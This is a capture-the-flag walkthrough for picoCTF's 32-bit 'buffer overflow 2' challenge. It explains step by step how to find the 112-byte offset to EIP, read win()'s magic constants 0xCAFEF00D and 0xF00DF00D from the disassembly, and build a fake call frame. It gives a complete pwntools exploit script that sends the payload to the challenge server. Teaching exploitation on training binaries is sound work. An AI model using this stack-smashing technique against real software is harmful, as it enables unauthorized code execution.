Description
Building on buffer overflow 1, this 32-bit challenge requires not just overwriting EIP with the address of win(), but also passing two specific magic arguments to it on the stack.
In x86 calling convention, function arguments live just above the return address on the stack. A ROP-style fake call frame lets you supply both.
Setup
Download the binary and make it executable.
Identify the buffer offset, the address of win(), and the two required magic values with objdump/Ghidra.
wget https://artifacts.picoctf.net/c/190/vuln && chmod +x vulnobjdump -d vuln | grep -A 20 '<win>'checksec --file=vulnSolution
Want to try it yourself first?
The guided walkthrough reveals hints one step at a time.
Step 1
Find the offset and win() addressObservationI noticed the binary accepts unchecked user input into a fixed-size buffer, which suggested the first step is measuring how many bytes reach the saved EIP by feeding a De Bruijn cyclic pattern and then locating win() via the symbol table.Use cyclic pattern to determine the offset (typically 112 bytes), then find win()'s address with objdump.bashcyclic 200 | ./vulnbashcyclic -l <EIP_VALUE>bashobjdump -d vuln | grep '<win>'Expected output
picoCTF{argum3nt5_4_d4yZ_...}What didn't work first
Tried: Run the cyclic pattern directly against the remote service instead of the local binary to find the offset.
The remote process will crash and close the connection but you cannot read its EIP value over a plain TCP socket. The offset must be measured locally where a debugger or SIGSEGV handler can report the register state. The local binary is the same build as the remote, so the offset is identical.
Tried: Use gdb with 'info registers' after the crash instead of cyclic -l to compute the offset.
gdb does show the EIP value after the SIGSEGV, but you still need cyclic -l (or pwntools cyclic_find) to convert that 4-byte sequence back into a byte offset. Reading the hex value without passing it to cyclic -l only tells you which pattern chunk landed in EIP, not the distance from the start of the buffer.
Learn more
The process is identical to buffer overflow 1: generate a cyclic pattern, crash the binary, read EIP, and compute the offset with
cyclic -l. For this challenge the buffer is larger (typically 100 bytes) so the offset to EIP is around 112 bytes.You can read the offset straight from the disassembly. The function prologue subtracts the local frame size from
esp:push ebp mov ebp, esp sub esp, 0x6c ; allocate 0x6c = 108 bytes for locals ... Offset to saved EIP: 108 (locals) + 4 (saved EBP) = 112 bytesBuffer + any padding lives within the 108-byte locals region; the 4 added bytes account for the saved EBP that
retrestores between you and the saved EIP.Step 2
Identify the required magic argumentsObservationI noticed win() does not print the flag unconditionally, which suggested it checks specific argument values; reading the disassembly with objdump revealed the two integer immediates 0xCAFEF00D and 0xF00DF00D in the cmp instructions.Decompile win() in Ghidra or read the disassembly to find the two constants it checks: 0xCAFEF00D and 0xF00DF00D.bashobjdump -d vuln | grep -A 40 '<win>'What didn't work first
Tried: Search strings output or the .rodata section for the magic constants instead of reading the disassembly.
The constants 0xCAFEF00D and 0xF00DF00D are integer immediates encoded in the instruction stream, not null-terminated strings in .rodata. The strings command only surfaces ASCII-printable sequences from data sections; it will produce no output for these hex constants. objdump -d (or Ghidra decompilation) of the win() body is the correct approach.
Tried: Use ltrace or strace on the binary to observe the comparison values at runtime.
ltrace intercepts library calls and strace intercepts syscalls; neither surfaces arithmetic comparisons happening entirely within the binary's own code. You would see fgets, printf, and exit but never the cmp instructions. Reading the disassembly directly is the only reliable way to extract compile-time constant comparands.
Learn more
win() boils down to:
if (arg1 == 0xCAFEF00D && arg2 == 0xF00DF00D) { print_flag(); }In the disassembly you will see
cmp [ebp+0x8], 0xcafef00dandcmp [ebp+0xc], 0xf00df00d(offsets +8 and +12 = standard x86 cdecl arg slots). The constants0xCAFEF00Dand0xF00DF00Dare source-level integer literals - they appear directly inmain/winas the comparison immediates, visible in both objdump and Ghidra.x86 cdecl calling convention: the caller pushes arguments right-to-left onto the stack before the
callinstruction. Thecallpushes the return address. The callee's prologue pushes EBP and setsebp = esp. So after the prologue:[ebp]= saved EBP,[ebp+4]= return address,[ebp+8]= arg1,[ebp+12]= arg2.Step 3
Build the fake call frame with pwntoolsObservationI noticed this is a 32-bit binary using the cdecl calling convention, which means arguments sit above the return address on the stack, suggesting I could fabricate a valid call frame by appending a dummy return address followed by 0xCAFEF00D and 0xF00DF00D after the win() address in my payload.The payload: 112-byte padding + win() address + fake return address + arg1 (0xCAFEF00D) + arg2 (0xF00DF00D).pythonpython3 -c " from pwn import * elf = ELF('./vuln') win_addr = elf.symbols['win'] payload = b'A' * 112 # offset to EIP payload += p32(win_addr) # overwrite EIP -> win() payload += p32(0xdeadbeef) # fake return address for win() payload += p32(0xcafef00d) # arg1 payload += p32(0xf00df00d) # arg2 p = remote('saturn.picoctf.net', <PORT_FROM_INSTANCE>) p.sendlineafter(b'Please enter your string:', payload) print(p.recvall().decode()) "What didn't work first
Tried: Omit the fake return address slot and place arg1 immediately after win()'s address in the payload.
When ret jumps to win(), the stack pointer is sitting at whatever comes right after win()'s address in your payload. win()'s prologue sets ebp = esp and then reads arg1 from [ebp+0x8], which is 8 bytes above that point - slot 0 is the return address placeholder, slot 1 is arg1. Skipping the return address placeholder shifts arg1 and arg2 each down by 4 bytes, so the cmp at [ebp+0x8] sees arg2 instead of arg1 and both comparisons fail silently.
Tried: Use p64() instead of p32() when packing win()'s address and the magic constants.
The binary is 32-bit (checksec shows ELF 32-bit, x86). p64() packs each value as 8 bytes in little-endian, which doubles the size of every field in the payload. The win() address bleeds into the fake-return slot, arg1 lands in the wrong position, and fgets may truncate the over-long input anyway. Always match packing width to the binary's pointer size.
Learn more
Stack at the instant win() begins executing (immediately after the vuln()
retpopsp32(win)into eip and increments esp by 4):high addr +-----------------+ | 0xf00df00d | <- [esp+8] = arg2 (read by cmp [ebp+0xc]) +-----------------+ | 0xcafef00d | <- [esp+4] = arg1 (read by cmp [ebp+0x8]) +-----------------+ | 0xdeadbeef | <- [esp] = return addr (dummy) +-----------------+ ^ esp now points here as win() executes its prologue: push ebp ; mov ebp, esp ; sub esp, ... After prologue: ebp = esp_old, so: [ebp+0x4] = 0xdeadbeef (return) [ebp+0x8] = 0xcafef00d (arg1) [ebp+0xc] = 0xf00df00d (arg2) Both compares pass -> print_flag() runs.Call sequence note. When the vuln()
retjumps towin, win's prologue runs first:push ebp; mov ebp, esp; sub esp, .... Only after the prologue do[ebp+0x8]and[ebp+0xc]point at your fabricated arg1/arg2. The dummy return address sits at[ebp+0x4]; win() never returns to it (it callsprint_flagthen exits), but if it did you'd need a real address there.32-bit only. Use
p32(), neverp64(). Little-endian meansp32(0xcafef00d)writes the bytes\x0d\xf0\xfe\xca- same byte order a real caller'spushwould produce. Callingp64(0xcafef00d)on 32-bit would tack on four\x00bytes after, scrambling the layout.This construction - overwriting EIP with a function address and manually fabricating its argument stack - is the foundation of Return-Oriented Programming. Instead of a dummy return you chain another gadget; see Buffer Overflow and Binary Exploitation for CTF. On 64-bit, args go in registers (rdi, rsi, ...), so you need
pop rdi; ret-style gadgets before the call.
Interactive tools
- Cyclic Pattern GeneratorGenerate de Bruijn cyclic patterns and find buffer overflow offsets. The browser equivalent of pwntools cyclic and cyclic_find.
- pwntools Payload BuilderPack integers into little-endian bytes (p32 / p64), unpack bytes back to integers, and build flat ROP payloads with offset-based insertion.
Flag
Reveal flag
picoCTF{argum3nt5_4_d4yZ_...}
Pad 112 bytes to EIP, then build a fake x86 call frame: win() address + dummy return + 0xCAFEF00D + 0xF00DF00D.